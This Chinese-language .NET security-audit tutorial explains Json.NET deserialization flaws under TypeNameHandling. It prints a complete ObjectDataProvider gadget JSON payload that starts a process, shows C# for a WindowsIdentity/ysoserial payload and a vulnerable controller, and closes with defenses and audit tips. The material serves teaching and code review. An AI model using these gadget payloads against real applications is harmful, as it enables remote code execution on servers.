.NET高级代码审计(第二课) Json.Net反序列化漏洞
字数 1751 2025-08-26 22:11:28
.NET Json.Net反序列化漏洞深度分析与防御指南
1. Json.Net库概述
Newtonsoft.Json(Json.NET)是一个高性能的JSON操作类库,主要功能包括:
- 轻松实现.NET对象与JSON之间的转换
- 支持LINQ to JSON
- 高性能JSON读写能力
- 支持多种.NET类型(对象、基本数据类型等)的序列化与反序列化
性能对比:Json.NET在序列化/反序列化性能上优于DataContractJsonSerializer和JavaScriptSerializer。
2. Json.Net序列化机制
2.1 基本序列化示例
public class TestClass
{
[JsonIgnore]
public string Classname { get; set; }
public string Name { get; set; }
public int Age { get; set; }
public static void ClassMethod(string cmd)
{
Process.Start(cmd);
}
}
// 序列化过程
var testClass = new TestClass { Name = "Ivan1ee", Age = 18 };
string testString = JsonConvert.SerializeObject(testClass);
关键点:
- 静态方法不参与序列化过程
[JsonIgnore]特性标记的属性会被忽略
2.2 高级序列化配置
var settings = new JsonSerializerSettings
{
TypeNameAssemblyFormatHandling = TypeNameAssemblyFormatHandling.Full,
TypeNameHandling = TypeNameHandling.All
};
string testString = JsonConvert.SerializeObject(testClass, settings);
配置属性说明:
NullValueHandling:控制是否忽略NULL值属性TypeNameAssemblyFormatHandling:Simple:只使用类型中的部分程序集名称Full:使用完整的程序集名称(包括版本号、公钥等)
TypeNameHandling:控制是否包含.NET类型名称信息
3. Json.Net反序列化漏洞分析
3.1 反序列化基本用法
var settings = new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.All
};
var obj = JsonConvert.DeserializeObject(jsonString, settings);
TypeNameHandling枚举值:
None:不读取/写入类型名称(默认值,安全)Objects:仅对对象类型处理Arrays:仅对数组类型处理Auto:自动识别需要处理的类型All:对所有类型处理(最危险)
3.2 攻击向量分析
3.2.1 ObjectDataProvider攻击向量
利用原理:
- 通过ObjectDataProvider调用任意被引用类中的方法
- 构造恶意JSON字符串实现RCE
PoC构造过程:
- 序列化TestClass获取基础JSON结构
- 替换关键字段:
ObjectInstance的$typeMethodName的值MethodParameters的$type
- 删除不必要的成员
示例恶意JSON:
{
"$type": "System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"ExpandedElement": {
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
},
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": ["calc.exe"]
}
}
}
3.2.2 WindowsIdentity攻击向量
利用原理:
- WindowsIdentity实现了ISerializable接口
- 通过BootstrapContext属性注入恶意payload
关键类分析:
System.Security.Principal.WindowsIdentitySystem.Security.Claims.ClaimsIdentityISerializable接口
PoC构造步骤:
- 生成ysoserial的base64 payload
- 创建WindowsIdentityTest类
- 设置BootstrapContext为恶意payload
- 序列化并修改
$type为完整限定名
示例代码:
var identity = new WindowsIdentityTest
{
BootstrapContext = "AAEAAAD...(base64 payload)"
};
var settings = new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.All,
TypeNameAssemblyFormatHandling = TypeNameAssemblyFormatHandling.Full
};
string json = JsonConvert.SerializeObject(identity, settings);
// 修改$type为System.Security.Principal.WindowsIdentity
json = json.Replace("WindowsIdentityTest", "System.Security.Principal.WindowsIdentity");
// 触发反序列化
JsonConvert.DeserializeObject(json, settings);
4. 漏洞防御方案
4.1 安全配置建议
-
避免使用危险配置:
// 不安全配置(禁止使用) new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.All }; // 安全配置 new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.None }; -
使用白名单机制:
var settings = new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Objects, SerializationBinder = new MySafeBinder() }; public class MySafeBinder : ISerializationBinder { public override Type BindToType(string assemblyName, string typeName) { // 只允许反序列化已知安全的类型 if (typeName == "MyNamespace.MySafeType") return typeof(MySafeType); throw new SerializationException("禁止反序列化类型: " + typeName); } }
4.2 代码审计要点
-
查找污染点:
- 搜索
JsonConvert.DeserializeObject调用 - 检查
TypeNameHandling配置是否为非None值 - 检查反序列化的数据来源是否可控
- 搜索
-
常见危险模式:
// 危险模式1:直接使用用户输入 JsonConvert.DeserializeObject(userInput, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); // 危险模式2:使用All或Auto配置 public T Deserialize<T>(string json) { return JsonConvert.DeserializeObject<T>(json, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.All }); }
5. 漏洞复现案例
5.1 Web应用中的漏洞复现
漏洞代码:
[HttpPost]
public ActionResult Index(string value)
{
var settings = new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.All
};
var obj = JsonConvert.DeserializeObject(value, settings);
return View(obj);
}
攻击步骤:
- 构造恶意JSON payload
- 通过POST请求发送payload
- 服务器反序列化时触发RCE
6. 总结与最佳实践
-
安全总结:
- Json.NET反序列化漏洞的核心在于
TypeNameHandling的非None配置 - 攻击者可以通过构造恶意JSON实现远程代码执行
- ObjectDataProvider和WindowsIdentity是两种主要的攻击向量
- Json.NET反序列化漏洞的核心在于
-
最佳实践:
- 始终使用
TypeNameHandling.None除非绝对必要 - 对外部输入的JSON数据进行严格验证
- 实现自定义
ISerializationBinder进行类型白名单控制 - 考虑使用替代方案如
System.Text.Json(.NET Core 3.0+)
- 始终使用
-
参考资源: